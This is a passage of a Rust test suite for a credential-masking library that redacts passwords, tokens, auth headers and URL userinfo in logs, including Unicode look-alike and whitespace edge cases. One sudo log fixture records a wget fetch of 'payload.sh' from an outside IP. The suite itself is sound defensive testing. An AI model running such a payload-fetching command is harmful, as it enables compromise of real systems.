    for name in names(&corpus, "previous_scalo_rs_defaults") {
        assert!(defaults.contains(name), "{name} left the default list");
    }
}

#[test]
fn a_parent_qualifies_only_a_bare_key_or_value() {
    let corpus = corpus();
    for case in cases(&corpus, "parent_cases") {
        let expected = case["credential"].as_bool().expect("credential");
        let actual = is_credential_name(text_field(case, "name"), text_field(case, "parent"));
        assert_eq!(actual, expected, "case {}", case["id"]);
    }
}

#[test]
fn text_cases_match_the_corpus() {
    let corpus = corpus();
    let narrowing = narrowing();
    let wrong: Vec<String> = cases(&corpus, "text_cases")
        .iter()
        .filter_map(|case| {
            let input = fill(text_field(case, "input"), MASK);
            let expected = superseded(&narrowing, "text_cases", &case["id"]).map_or_else(
                || text_field(case, "expected"),
                |v| v.as_str().expect("text"),
            );
            let expected = fill(expected, MASK);
            let out = masked(&input);
            (out != expected).then(|| format!("{}: {out:?}", case["id"]))
        })
        .collect();
    assert!(
        wrong.is_empty(),
        "cases masked wrongly:\n{}",
        wrong.join("\n")
    );
}

#[test]
fn url_cases_match_the_corpus() {
    let corpus = corpus();
    for case in cases(&corpus, "url_cases") {
        let mask = fill(text_field(case, "mask"), MASK);
        let input = fill(text_field(case, "input"), MASK);
        let keep_user = case["keep_user"].as_bool().expect("keep_user");
        let expected = fill(text_field(case, "expected"), &mask);
        assert_eq!(
            mask_url_userinfo(&input, &mask, keep_user),
            expected,
            "case {}",
            case["id"]
        );
    }
}

/// Text every pass has already masked: each stays as it is, and none is counted.
const ALREADY_MASKED: [&str; 17] = [
    "SessionID=[REDACTED]++\\\",LocalIP=10.0.0.1 next",
    "auth: [REDACTED]: unknown user",
    "--header='Authorization: [REDACTED]  http://host/x -O /dev/null",
    "password=[REDACTED]",
    "password=[REDACTED],sig_ids=\"\",request=\"GET /a HTTP/1.1\"",
    "password=[REDACTED]/next=1",
    "x_forwarded_for_header_value=[REDACTED],a=b c=d",
    "password: [REDACTED]",
    "{\"password\":\"[REDACTED]\",\"user\":\"alice\"}",
    "password: \"[REDACTED]\"",
    "password='[REDACTED]' user=alice",
    "postgres://svc:[REDACTED]@db:5432/app",
    "GET /x?sig=[REDACTED]&a=b HTTP/1.1",
    "Illegal header value b'[REDACTED]'",
    "Illegal header value \"[REDACTED]\" in request",
    "proxy: bearer [REDACTED]",
    "token=[REDACTED] password=[REDACTED] key: [REDACTED]",
];

#[test]
fn text_already_masked_is_left_as_it_is() {
    let matcher = CredentialMatcher::new(SENSITIVE_FIELDS).unwrap();
    for text in ALREADY_MASKED {
        let (out, n) = mask_text_in(text, &matcher, MASK, &mut Spellings::default());
        assert!(matches!(out, Cow::Borrowed(_)), "{text}: {out}");
        assert_eq!(n, 0, "{text}");
    }
    // Masking the masked text of every corpus case writes nothing more.
    let corpus = corpus();
    for case in cases(&corpus, "text_cases") {
        let once = masked(&fill(text_field(case, "input"), MASK));
        let twice = mask_text(&once, &matcher, MASK);
        assert_eq!(twice, once, "case {}", case["id"]);
    }
}

#[test]
fn a_mask_that_starts_a_longer_value_is_masked_whole() {
    for (text, want) in [
        ("password=[REDACTED]abc", "password=[REDACTED]"),
        ("password=[REDACTED]_x tail", "password=[REDACTED] tail"),
        ("password: [REDACTED]7", "password: [REDACTED]"),
        (
            "password=[REDACTED] password=hunter2",
            "password=[REDACTED] password=[REDACTED]",
        ),
        (
            "postgres://svc:[REDACTED]x@db/app",
            "postgres://svc:[REDACTED]@db/app",
        ),
        ("Bearer [REDACTED]x", "bearer [REDACTED]"),
    ] {
        assert_eq!(masked(text), want, "{text}");
    }
    // An empty mask stands for nothing, so it never hides a value.
    let matcher = CredentialMatcher::new(SENSITIVE_FIELDS).unwrap();
    assert_eq!(mask_text("password=hunter2", &matcher, ""), "password=");
}

/// `PWD` in sudo's log entry is the working directory. These are sudo's own
/// lines from the corpus, and a `PWD=` that is a password in a connection
/// string from Microsoft's ODBC Driver for SQL Server documentation.
#[test]
fn pwd_is_a_directory_in_a_sudo_entry_and_a_password_elsewhere() {
    let sudo = [
        "Mar 15 08:01:00 web-01 sudo[2001]: deploy : TTY=pts/0 ; PWD=/var/www/app ; USER=root ; COMMAND=/usr/bin/systemctl restart nginx",
        "<30>1 2024-03-15T10:30:10.000Z web-01 sudo 4412 - admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt-get update",
        "Mar 15 02:15:07 web-01 sudo[4011]: backup : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://198.51.100.12/payload.sh",
        "alice : TTY=pts/0 ; CHROOT=/srv/jail ; PWD=/home/alice ; USER=root ; COMMAND=/bin/ls",
        "alice : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/tmp/my dir ; USER=root ; COMMAND=/bin/ls",
    ];
    for line in sudo {
        assert_eq!(masked(line), line);
    }
    let odbc = "Driver={ODBC Driver 18 for SQL Server};Server=tcp:<server>;Database=<database>;UID=<user_id>;PWD=<password>;Encrypt=yes;TrustServerCertificate=no;MARS_Connection=Yes;WSID=app-node-01;";
    assert_eq!(
        masked(odbc),
        "Driver={ODBC Driver 18 for SQL Server};Server=tcp:<server>;Database=<database>;UID=<user_id>;PWD=[REDACTED]"
    );
    // Only sudo's shape is a directory: a password in a look-alike line, a
    // lower-case `pwd`, or a PWD not set off by sudo's separators is masked.
    for (line, want) in [
        (
            "TTY=pts/0 ; PWD=hunter2 ; COMMAND=/bin/ls",
            "TTY=pts/0 ; PWD=[REDACTED] ; COMMAND=/bin/ls",
        ),
        (
            "user : TTY=pts/0 ; pwd=hunter2 ; USER=root",
            "user : TTY=pts/0 ; pwd=[REDACTED] ; USER=root",
        ),
        (
            "TTY=pts/0;PWD=hunter2;USER=root",
            "TTY=pts/0;PWD=[REDACTED]",
        ),
        ("PWD=hunter2 ; USER=root", "PWD=[REDACTED] ; USER=root"),
        (
            "Uid=sa ; PWD=hunter2 ; USER=root",
            "Uid=sa ; PWD=[REDACTED] ; USER=root",
        ),
    ] {
        assert_eq!(masked(line), want, "{line}");
    }
}

/// The line of the big list of naughty strings holding `marker`.
fn naughty(marker: &str) -> String {
    let bytes = crate::shared_tests::corpus::file_bytes("naughty-strings", "blns.txt");
    crate::shared_tests::corpus::lines(&bytes)
        .map(|(_, line)| String::from_utf8_lossy(line).into_owned())
        .find(|line| line.contains(marker))
        .unwrap_or_else(|| panic!("no naughty string holds {marker:?}"))
}

/// A term of letters with no ASCII in it names a credential, in a structured
/// field's name and in a key in free text, upper case and lower alike.
#[test]
fn non_ascii_credential_names_read_the_same_in_fields_and_in_text() {
    let matcher = CredentialMatcher::new([
        "\u{5bc6}\u{78bc}",
        "p\u{e4}ssword",
        "\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
    ])
    .unwrap();
    assert!(!matcher.is_empty());
    let named = [
        "\u{5bc6}\u{78bc}",
        "db_\u{5bc6}\u{78bc}",
        "x-\u{5bc6}\u{78bc}",
        "P\u{c4}SSWORD",
        "db_p\u{e4}ssword",
        "dbP\u{e4}ssword",
        "\u{41f}\u{410}\u{420}\u{41e}\u{41b}\u{42c}",
        "user.\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
    ];
    for name in named {
        assert!(matcher.matches(name, ""), "field {name}");
        let text = format!("{name}=hunter2 next");
        let out = mask_text(&text, &matcher, MASK);
        assert_eq!(out, format!("{name}={MASK} next"), "text {name}");
        let text = format!("{name}: hunter2, next");
        let colon = mask_text(&text, &matcher, MASK);
        assert_eq!(colon, format!("{name}: {MASK}, next"), "colon {name}");
    }
    for name in [
        "status",
        "p\u{e4}ssword_s\u{f6}rt",
        "\u{5bc6}",
        "\u{78bc}\u{5bc6}",
    ] {
        assert!(!matcher.matches(name, ""), "field {name}");
        let text = format!("{name}=hunter2 next");
        assert_eq!(mask_text(&text, &matcher, MASK), text, "text {name}");
    }
    // The default terms read a name with a non-ASCII letter in it as before.
    assert!(is_credential_name("\u{e9}Password", ""));
    assert!(is_credential_name("db_PASSWORD", ""));
    assert!(!is_credential_name("caf\u{e9}", ""));
}

/// Every space the masking rules read, in the naughty strings' own list and
/// the ones they leave out, bar the two line ends.
fn blanks() -> Vec<char> {
    let list = naughty("\u{202f}\u{205f}\u{3000}");
    let mut blanks: Vec<char> = list.chars().filter(|c| c.is_whitespace()).collect();
    blanks.extend([
        ' ', '\t', '\u{b}', '\u{c}', '\u{85}', '\u{a0}', '\u{1680}', '\u{2000}', '\u{2007}',
        '\u{2009}', '\u{200a}', '\u{2028}', '\u{2029}', '\u{202f}', '\u{205f}', '\u{3000}',
        '\u{1c}', '\u{1f}',
    ]);
    blanks.sort_unstable();
    blanks.dedup();
    assert!(blanks.len() >= 15, "{blanks:?}");
    blanks
}

/// Unicode blanks set a key off from its value as spaces do, after `=` and
/// before it, and the secret is gone from what comes out, not only masked.
#[test]
fn unicode_blanks_around_an_equals_sign_hold_the_key_and_value_together() {
    for blank in blanks() {
        for (text, want) in [
            (
                format!("password{blank}={blank}hunter2secret next"),
                format!("password{blank}={blank}{MASK} next"),
            ),
            (
                format!("password={blank}hunter2secret"),
                format!("password={blank}{MASK}"),
            ),
            (
                format!("password{blank}=hunter2secret"),
                format!("password{blank}={MASK}"),
            ),
            (
                format!("password{blank}:{blank}hunter2secret, next"),
                format!("password{blank}:{blank}{MASK}, next"),
            ),
        ] {
            let out = masked(&text);
            assert!(!out.contains("hunter2secret"), "{blank:?}: {out:?}");
            assert_eq!(out, want, "{blank:?}");
        }
    }
    // A line end still ends the pair.
    assert_eq!(masked("password=\nhunter2"), "password=[REDACTED]\nhunter2");
    assert_eq!(
        masked("password=\r\nhunter2"),
        "password=[REDACTED]\r\nhunter2"
    );
}

/// Characters that print nothing around a separator don't hide the value.
#[test]
fn zero_width_characters_around_a_separator_hold_the_key_and_value_together() {
    for ignorable in [
        '\u{200b}', '\u{200c}', '\u{200d}', '\u{2060}', '\u{feff}', '\u{ad}', '\u{200e}',
        '\u{fe0f}',
    ] {
        for text in [
            format!("password{ignorable}=hunter2secret next"),
            format!("password={ignorable}hunter2secret next"),
            format!("password{ignorable} = {ignorable}hunter2secret next"),
            format!("password{ignorable}: hunter2secret next"),
            format!("{{\"password\"{ignorable}: \"hunter2secret\"}}"),
        ] {
            let out = masked(&text);
            assert!(!out.contains("hunter2secret"), "{ignorable:?}: {out:?}");
            assert!(out.contains(MASK), "{ignorable:?}: {out:?}");
        }
    }
}

/// An unquoted value ends at the first space whatever its script, as at an
/// ASCII one, and groups of digits run on across any of them: the text with
/// any blank in it masks as the same text with spaces does.
#[test]
fn an_unquoted_value_ends_at_the_same_places_for_every_space() {
    for blank in blanks() {
        for text in [
            "password=hunter 2tail x",
            "password=hunter tail x",
            "password=hunter 2 3 4 tail x",
            "password: hunter 2tail, x",
            "password: a b, c",
            "pin=1234 5678 x",
            "Authorization: Basic abc x",
            "Authorization: Digest username=\"u\", response=\"r\" x",
        ] {
            let spaced = text.replace(' ', &blank.to_string());
            let want = masked(text).replace(' ', &blank.to_string());
            assert_eq!(masked(&spaced), want, "{blank:?}: {spaced:?}");
        }
        let split = format!("password=hunter{blank}2tail");
        assert!(!masked(&split).contains("2tail"), "{blank:?}");
    }
}

#[test]
fn an_authorization_scheme_and_its_credentials_are_one_value_across_unicode_blanks() {
    for blank in ['\u{a0}', '\u{202f}', '\u{3000}', '\u{2009}', ' '] {
        let text = format!("Authorization: Basic{blank}dXNlcjpwYXNz next");
        assert_eq!(
            masked(&text),
            format!("Authorization: {MASK} next"),
            "{blank:?}"
        );
        let equals =
            format!("authorization=Digest{blank}username=\"u\",{blank}response=\"r\" next");
        assert_eq!(
            masked(&equals),
            format!("authorization={MASK} next"),
            "{blank:?}"
        );
    }
}

/// Grouped digits run on across a blank and a digit of any script.
#[test]
fn grouped_digits_of_any_script_are_one_value() {
    // The naughty strings' own full-width and Arabic-Indic runs.
    let wide = naughty("\u{ff11}\u{ff12}\u{ff13}");
    let arabic = naughty("\u{661}\u{662}\u{663}");
    for digits in [
        "1234\u{202f}5678\u{202f}9012".to_owned(),
        "1234\u{a0}5678".to_owned(),
        format!("{wide} {wide} {wide}"),
        format!("{arabic} {arabic}"),
        "+61\u{202f}412\u{202f}345\u{202f}678".to_owned(),
    ] {
        assert_eq!(
            masked(&format!("password={digits}")),
            format!("password={MASK}"),
            "{digits}"
        );
        assert_eq!(
            masked(&format!("password: {digits}, tail")),
            format!("password: {MASK}, tail"),
            "{digits}"
        );
    }
}

/// A multi-word value in typographic quotes is masked whole, as in ASCII ones.
#[test]
fn a_value_in_typographic_quotes_is_masked_whole() {
    // From the naughty strings: `<foo val=\u{201c}bar\u{201d} />`.
    let line = naughty("val=\u{201c}bar\u{201d}");
    let val = CredentialMatcher::new(["val"]).unwrap();
    assert_eq!(mask_text(&line, &val, MASK), format!("<foo val={MASK} />"));
    for (text, want) in [
        (
            "password=\u{201c}hunter two three\u{201d} next",
            "password=[REDACTED] next",
        ),
        (
            "password=\u{2018}hunter two\u{2019} next",
            "password=[REDACTED] next",
        ),
        (
            "password=\u{201e}hunter two\u{201c} next",
            "password=[REDACTED] next",
        ),
        (
            "password=\u{ab}hunter two\u{bb} next",
            "password=[REDACTED] next",
        ),
        (
            "password: \u{201c}hunter two\u{201d}, next",
            "password: [REDACTED], next",
        ),
        (
            "\u{201c}password\u{201d}: \u{201c}hunter two\u{201d} next",
            "\u{201c}password\u{201d}: [REDACTED] next",
        ),
        ("password=\u{201c}hunter two", "password=[REDACTED]"),
    ] {
        assert_eq!(masked(text), want, "{text}");
    }
    // A quote that closes on another line doesn't take the next line.
    assert_eq!(
        masked("password=\u{201c}hunter\nnext\u{201d}"),
        "password=[REDACTED]\nnext\u{201d}"
    );
}

/// A custom mask is escaped where it sits inside JSON quotes, so the record
/// stays valid JSON and holds the mask as written.
#[test]
fn a_custom_mask_is_escaped_inside_json_quotes() {
    let matcher = CredentialMatcher::new(SENSITIVE_FIELDS).unwrap();
    for mask in [
        "a\"b",
        "back\\slash",
        "two\nlines",
        "tab\t\u{1}",
        "caf\u{e9}\"\\",
        "[R]",
    ] {
        let text = r#"{"user":"alice","password":"hunter2","note":"x"}"#;
        let out = mask_text(text, &matcher, mask);
        let value: Value =
            serde_json::from_str(&out).unwrap_or_else(|e| panic!("{mask:?}: {e}: {out}"));
        assert_eq!(value["password"], mask, "{mask:?}");
        assert_eq!(value["user"], "alice");
        assert_eq!(value["note"], "x");
        // Masks after the first one land where the run lengths say.
        let two = r#"{"password":"a","token":"b","k":"v"}"#;
        let out = mask_text(two, &matcher, mask);
        let value: Value =
            serde_json::from_str(&out).unwrap_or_else(|e| panic!("{mask:?}: {e}: {out}"));
        assert_eq!(
            (&value["password"], &value["token"], &value["k"]),
            (&Value::from(mask), &Value::from(mask), &Value::from("v"))
        );
    }
}

/// Names that look like `password` and are not it: a Cyrillic a, full-width
/// letters, a zero-width space, a soft hyphen and a combining accent.
const LOOK_ALIKES: [&str; 9] = [
    "p\u{430}ssword",
    "\u{ff50}\u{ff41}\u{ff53}\u{ff53}\u{ff57}\u{ff4f}\u{ff52}\u{ff44}",
    "\u{ff30}\u{ff21}\u{ff33}\u{ff33}\u{ff37}\u{ff2f}\u{ff32}\u{ff24}",
    "pass\u{200b}word",
    "pass\u{ad}word",
    "p\u{e4}ssword",
    "passw\u{43e}rd",
    "db_p\u{430}ssword",
    "\u{440}\u{430}ssword",
];

#[test]
fn a_skeleton_maps_look_alikes_and_leaves_ascii_alone() {
    for name in [
        "password",
        "PassWord",
        "I",
        "O0",
        "rn",
        "client_id",
        "keyID",
        "x-api-key",
    ] {
        let sk = skeleton(name);
        assert!(matches!(sk, Cow::Borrowed(_)) && sk == name, "{name}");
    }
    for name in LOOK_ALIKES {
        let sk = skeleton(name);
        assert!(sk.is_ascii(), "{name:?} gives {sk:?}");
        assert!(
            sk.eq_ignore_ascii_case("password") || sk.eq_ignore_ascii_case("db_password"),
            "{name:?} gives {sk:?}"
        );
    }
    // What does not look like a Latin word stays what it is.
    assert_eq!(skeleton("\u{5bc6}\u{78bc}"), "\u{5bc6}\u{78bc}");
    assert_eq!(skeleton("a\u{200b}\u{fe0f}b\u{301}"), "ab");
    assert_eq!(skeleton("\u{ff3f}"), "_");
}

/// Look-alike names are credentials as structured fields' names, as keys in
/// free text after either separator, and as JSON keys, and what a scrub
/// writes keeps the name as it was.
#[test]
fn look_alike_names_match_in_fields_and_in_text() {
    for name in LOOK_ALIKES {
        assert!(is_credential_name(name, ""), "field {name:?}");
        for (text, want) in [
            (
                format!("{name}=hunter2secret next"),
                format!("{name}={MASK} next"),
            ),
            (
                format!("{name}: hunter2secret, next"),
                format!("{name}: {MASK}, next"),
            ),
            (
                format!("{name}\u{200b} = hunter2secret"),
                format!("{name}\u{200b} = {MASK}"),
            ),
            (
                format!("{{\"{name}\":\"hunter2secret\"}}"),
                format!("{{\"{name}\":\"{MASK}\"}}"),
            ),
            (
                format!("a=b {name}=hunter2secret"),
                format!("a=b {name}={MASK}"),
            ),
        ] {
            let out = masked(&text);
            assert!(!out.contains("hunter2secret"), "{name:?}: {out:?}");
            assert_eq!(out, want, "{name:?}");
        }
    }
}

/// A name in another script that means something else isn't a credential, and
/// neither is an ASCII name that merely contains one.
#[test]
fn a_non_latin_name_meaning_something_else_is_not_masked() {
    for name in [
        "\u{43a}\u{43b}\u{44e}\u{447}",
        "\u{440}\u{430}\u{441}\u{441}\u{43e}\u{43b}",
        "\u{43f}\u{430}\u{440}\u{43e}\u{43b}\u{44c}",
        "\u{3c8}\u{3bf}\u{3c1}\u{3bf}\u{3c2}",
        "\u{540d}\u{524d}",
        "\u{627}\u{633}\u{645}",
        "caf\u{e9}",
        "passe\u{301}",
        "\u{43d}\u{430}\u{437}\u{432}\u{430}\u{43d}\u{438}\u{435}",
    ] {
        assert!(!is_credential_name(name, ""), "field {name:?}");
        let text = format!("{name}=value next {name}: other, end");
        assert_eq!(masked(&text), text, "{name:?}");
    }
}

/// The names a scrub reads in the corpus are matched the same through the
/// skeleton as as they are written: a decision that changed would be a
/// false positive or a miss.
#[test]
fn the_skeleton_changes_no_key_decision_over_the_corpus() {
    use crate::shared_tests::corpus::for_each_record_of;
    let tags = [
        "syslog", "cef", "leef", "kv", "mixed", "access", "text", "csv", "tsv", "json", "ndjson",
        "naughty", "xml", "http",
    ];
    let matcher = CredentialMatcher::default_terms();
    let mut spellings = Spellings::default();
    let (mut records, mut keys, mut non_ascii) = (0_usize, 0_usize, 0_usize);
    let mut changed: Vec<String> = Vec::new();
    for_each_record_of(&tags, |r| {
        if r.bytes.is_ascii() {
            return;
        }
        records += 1;
        let text = String::from_utf8_lossy(r.bytes);
        for separator in [Separator::Colon, Separator::Equals] {
            let mut from = 0;
            while let Some(head) = next_head(&text, from, separator) {
                from = head.end;
                let key = &text[head.start..head.key_end];
                keys += 1;
                non_ascii += usize::from(!key.is_ascii());
                let mut raw = String::new();
                spell_words(key, &mut raw);
                let got = matcher.name_match(key, "", &mut spellings);
                if got != every_spelled(matcher, &raw) {
                    changed.push(format!("{}: {key:?}", r.at()));
                }
            }
        }
    });
    println!(
        "{records} records past ASCII, {keys} keys, {non_ascii} of them non-ASCII, {} changed",
        changed.len()
    );
    assert!(keys > 100, "{keys} keys");
    assert!(changed.is_empty(), "{changed:#?}");
}

#[test]
fn coarse_cases_match_the_corpus() {
    let corpus = corpus();
    let narrowing = narrowing();
    for case in cases(&corpus, "coarse_cases") {
        let input = fill(text_field(case, "input"), MASK);
        let should_mask = superseded(&narrowing, "coarse_cases", &case["id"])
            .map_or_else(|| case["should_mask"].as_bool(), toml::Value::as_bool)
            .expect("should_mask");
        assert_eq!(masked(&input) != input, should_mask, "case {}", case["id"]);
    }
}

/// Where each URL's `://`, the `:` ending its user and the `@` ending its password sit, in chars, reading the grammar one step at a time, as a check on the scanner.
///
/// A URL starts at `://`. The user holds no white space, `:`, `/` or `@` and ends
/// at a `:`. The password runs to the last `@` a host follows, never past white
/// space or the next `://`. The next URL is looked for from that `@`.
fn reference_userinfo(chars: &[char]) -> Vec<(usize, usize, usize)> {
    let starts_head = |i: usize| chars.get(i..i + 3) == Some(&[':', '/', '/'][..]);
    let host_follows = |at: usize| {
        let mut end = at + 1;
        while end < chars.len() && !chars[end].is_whitespace() && !"@/?#".contains(chars[end]) {
            end += 1;
        }
        end == chars.len() || chars[end].is_whitespace() || "/?#".contains(chars[end])
    };
    let find_head = |from: usize| (from..chars.len()).find(|&i| starts_head(i));
    let mut found = Vec::new();
    let mut head = find_head(0);
    while let Some(h) = head {
        let mut colon = h + 3;
        while colon < chars.len() && !chars[colon].is_whitespace() && !":/@".contains(chars[colon])
        {
            colon += 1;
        }
        if colon < chars.len() && chars[colon] == ':' {
            let mut run_end = colon + 1;
            while run_end < chars.len() && !chars[run_end].is_whitespace() && !starts_head(run_end)
            {
                run_end += 1;
            }
            let ats: Vec<usize> = (colon + 1..run_end)
                .filter(|&i| chars[i] == '@' && host_follows(i))
                .collect();
            if let Some(&at) = ats.last() {
                found.push((h, colon, at));
                head = find_head(at);
                continue;
            }
        }
        head = find_head(h + 1);
    }
    found
}

/// Masks URL userinfo where [`reference_userinfo`] finds it.
fn reference_mask(text: &str, mask: &str, keep_user: bool) -> String {
    let chars: Vec<char> = text.chars().collect();
    let mut out = String::new();
    let mut copied = 0;
    for (h, colon, at) in reference_userinfo(&chars) {
        if !keep_user {
            out.extend(&chars[copied..h]);
            out.push_str("://");
            out.push_str(mask);
        } else if at > colon + 1 {
            out.extend(&chars[copied..=colon]);
            out.push_str(mask);
        } else {
            out.extend(&chars[copied..at]);
        }
        copied = at;
    }
    out.extend(&chars[copied..]);
    out
}

/// The non-empty URL passwords [`reference_userinfo`] finds, in order.
fn reference_passwords(text: &str) -> Vec<String> {
    let chars: Vec<char> = text.chars().collect();
    reference_userinfo(&chars)
        .into_iter()
        .filter(|&(_, colon, at)| at > colon + 1)
        .map(|(_, colon, at)| chars[colon + 1..at].iter().collect())
        .collect()
}

#[test]
fn url_passwords_lists_each_password_in_order() {
    let secret = secret();
    let line = format!("a://u:{secret}@h1 b://v:@h2 c://w:p@ss/x@h3/path d://git@h4");
    assert_eq!(url_passwords(&line), [secret.as_str(), "p@ss/x"]);
}

const ALPHABET: [&str; 16] = [
    "a", "B", "1", ".", ",", ":", ":", "/", "/", "@", "@", "?", "#", " ", "\\", "://",
];

proptest! {
    #![proptest_config(ProptestConfig::with_cases(20_000))]

    #[test]
    fn the_url_masker_reads_random_text_as_the_grammar_does(
        parts in proptest::collection::vec(proptest::sample::select(ALPHABET.to_vec()), 0..24)
    ) {
        let text = parts.concat();
        prop_assert_eq!(mask_url_userinfo(&text, MASK, true), reference_mask(&text, MASK, true));
        prop_assert_eq!(mask_url_userinfo(&text, "***", false), reference_mask(&text, "***", false));
        prop_assert_eq!(url_passwords(&text), reference_passwords(&text));
    }
}

/// The end of the quoted value opening at `start`, past `\` escapes, or `None` when it never closes.
fn reference_escaped_end(value: &[char], start: usize, multiline: bool) -> Option<usize> {
    let quote = value[start];
    let mut at = start + 1;
    while at < value.len() {
        match value[at] {
            '\\' if at + 1 == value.len() || (!multiline && value[at + 1] == '\n') => return None,
            '\\' => at += 2,
            '\n' if !multiline => return None,
            c if c == quote => return Some(at + 1),
            _ => at += 1,
        }
    }
    None
}

/// The end of the quoted value opening at `start` at its next quote, escaped or not.
fn reference_plain_end(value: &[char], start: usize, multiline: bool) -> Option<usize> {
    let close = (start + 1..value.len()).find(|&at| value[at] == value[start])?;
    (multiline || !value[start..close].contains(&'\n')).then_some(close + 1)
}

/// Where a quoted value that closes at no quote runs to: the end of its line, or, when it may cross lines, the end of the text short of a final line break.
fn reference_never_closes(value: &[char], start: usize, multiline: bool) -> usize {
    if multiline {
        value.len() - usize::from(value.last() == Some(&'\n'))
    } else {
        (start..value.len())
            .find(|&at| value[at] == '\n')
            .unwrap_or(value.len())
    }
}

/// `value` with its leading quoted value masked, read one character at a time, as a check on the scanner.
///
/// The value opens at the first character `skip` stops at and closes at its
/// first quote no `\` escapes, else at its next quote, else where
/// [`reference_never_closes`] says. `mask` gives the replacement for an
/// opening quote and whether the value may cross a line. `None` when no quote
/// opens the value.
fn reference_quoted(
    value: &str,
    skip: fn(char) -> bool,
    mask: fn(char) -> (String, bool),
) -> Option<String> {
    let chars: Vec<char> = value.chars().collect();
    let start = chars.iter().take_while(|&&c| skip(c)).count();
    let quote = *chars.get(start).filter(|c| matches!(c, '"' | '\''))?;
    let (masked, multiline) = mask(quote);
    let end = reference_escaped_end(&chars, start, multiline)
        .or_else(|| reference_plain_end(&chars, start, multiline))
        .unwrap_or_else(|| reference_never_closes(&chars, start, multiline));
    Some(String::from_iter(&chars[..start]) + &masked + &String::from_iter(&chars[end..]))
}

/// `password=<value>` with a quoted value masked whole, never past a line break.
fn reference_equals(value: &str) -> Option<String> {
    let masked = reference_quoted(
        value,
        |c| matches!(c, ' ' | '\t'),
        |_| (MASK.to_string(), false),
    )?;
    Some(format!("password={masked}"))
}

/// `{"password": <value>` with a double-quoted value masked inside its quotes across lines, and a single-quoted one masked whole within its line.
fn reference_colon(value: &str) -> Option<String> {
    let masked = reference_quoted(value, char::is_whitespace, |quote| {
        if quote == '"' {
            (format!("\"{MASK}\""), true)
        } else {
            (MASK.to_string(), false)
        }
    })?;
    Some(format!("{{\"password\": {masked}"))
}

const QUOTED_ALPHABET: [&str; 10] = ["a", "b", " ", "\n", "\"", "\"", "'", "'", "\\", "\\"];

proptest! {
    #![proptest_config(ProptestConfig::with_cases(10_000))]

    #[test]
    fn a_quoted_value_is_read_as_a_scanner_reads_it(
        parts in proptest::collection::vec(proptest::sample::select(QUOTED_ALPHABET.to_vec()), 0..16)
    ) {
        let value = parts.concat();
        if let Some(expected) = reference_equals(&value) {
            prop_assert_eq!(masked(&format!("password={value}")), expected);
        }
        if let Some(expected) = reference_colon(&value) {
            prop_assert_eq!(masked(&format!("{{\"password\": {value}")), expected);
        }
    }
}

#[test]
fn a_long_line_is_masked_in_linear_time() {
    let lines = [
        "A".repeat(200_000) + " a://x",
        "a://:".to_string() + &"A".repeat(200_000),
        "1a".repeat(100_000) + " b://x",
        "a://:".to_string() + &"@".repeat(200_000),
        "a://:".to_string() + &"@a".repeat(100_000),
        "a://:@".to_string() + &"a".repeat(200_000) + "@",
        "://a:".repeat(50_000),
        "://".to_string() + &"a".repeat(200_000),
        "password: f(".repeat(20_000),
        "password: \"".repeat(20_000),
        "token=".repeat(40_000),
        "bearer ".repeat(30_000),
        "password: \"".to_string() + &"\\".repeat(200_000),
        "password: \"".to_string() + &"\\\"".repeat(100_000),
        "password=\"".to_string() + &"\\\"".repeat(100_000),
        "password: '".to_string() + &"\\'".repeat(100_000),
        "{\"password\": \"".to_string() + &"\\\\".repeat(100_000) + "\"}",
        "password: \"".to_string() + &"password: \\\"".repeat(16_000),
        "password=\"\\\" ".repeat(15_000),
        "\"\\".repeat(100_000),
        "password: 'a ".repeat(20_000),
        "password='a\n".repeat(20_000),
        "password: \"a \n".repeat(20_000),
        "token=Some(\"\\\" ".repeat(15_000),
        "token=1(\n".repeat(25_000),
        "pin: f(\\' x) ".repeat(16_000),
        "token=".to_string() + &"a(".repeat(100_000),
        "token=Some(".to_string() + &"(".repeat(200_000),
        "authorization: a \"".repeat(30_000),
        "authorization: a ".to_string() + &"b, ".repeat(70_000),
        "authorization: a b=\"".to_string() + &"x".repeat(200_000),
        "authorization=a b=\"\n".repeat(25_000),
        "authorization: a b=\"\\\" ".repeat(15_000),
        "token: basic ".repeat(30_000),
        "x-api-key: Token ".to_string() + &"b, ".repeat(70_000),
        "password::".repeat(40_000),
        "authorization: a ".to_string() + &"b&".repeat(100_000),
        "?sig=a".repeat(40_000),
        "&si".repeat(70_000),
    ];
    for line in &lines {
        let started = Instant::now();
        let _ = mask_url_userinfo(line, MASK, true);
        let _ = mask_url_userinfo(line, MASK, false);
        let _ = masked(line);
        // A quadratic scan of 200,000 characters takes minutes, so the bound sits far above a linear one.
        assert!(
            started.elapsed() < Duration::from_secs(10),
            "{} took {:?}",
            &line[..20],
            started.elapsed()
        );
    }
}

/// `name_match` with every term tried, no index by last byte.
fn every_term(matcher: &CredentialMatcher, name: &str) -> NameMatch {
    every_spelled(matcher, &joined_words(name))
}

/// [`every_term`] over words already spelled.
fn every_spelled(matcher: &CredentialMatcher, spelled: &str) -> NameMatch {
    let mut found = NameMatch::None;
    let mut stem = spelled;
    for _ in 0..MAX_STRIPPED {
        let bytes = stem.as_bytes();
        for term in &matcher.terms {
            let long = term.len() >= SUFFIX_MIN;
            if ends_with_term(bytes, term.as_bytes(), long) {
                return NameMatch::Term;
            }
            if let Some(singular) = bytes.strip_suffix(b"s")
                && ends_with_term(singular, term.as_bytes(), long)
            {
                if long {
                    return NameMatch::Term;
                }
                found = NameMatch::Plural;
            }
        }
        match strip_last_word(stem) {
            Some(shorter) => stem = shorter,
            None => break,
        }
    }
    found
}

#[test]
fn the_term_index_names_what_trying_every_term_names() {
    let matcher = CredentialMatcher::default_terms();
    let mut spellings = Spellings::default();
    let mut counts = [0_usize; 3];
    let fronts = ["", "db_", "x", "max", "PG"];
    let backs = ["", "s", "es", "_v2", "_value", "_2", "Hash", "_", "x"];
    let plain = [
        "bypass", "tokens", "keys", "status", "bytes", "path", "", "_", "s",
    ];
    let terms = SENSITIVE_FIELDS.iter().chain(&plain);
    for term in terms {
        for front in fronts {
            for back in backs {
                let name = format!("{front}{term}{back}");
                let got = matcher.name_match(&name, "", &mut spellings);
                assert_eq!(got, every_term(matcher, &name), "{name}");
                counts[got as usize] += 1;
            }
        }
    }
    assert!(counts.iter().all(|&n| n > 20), "{counts:?}");
}

/// A plain `next_head`: every word forward, each tried for a separator after
/// it.
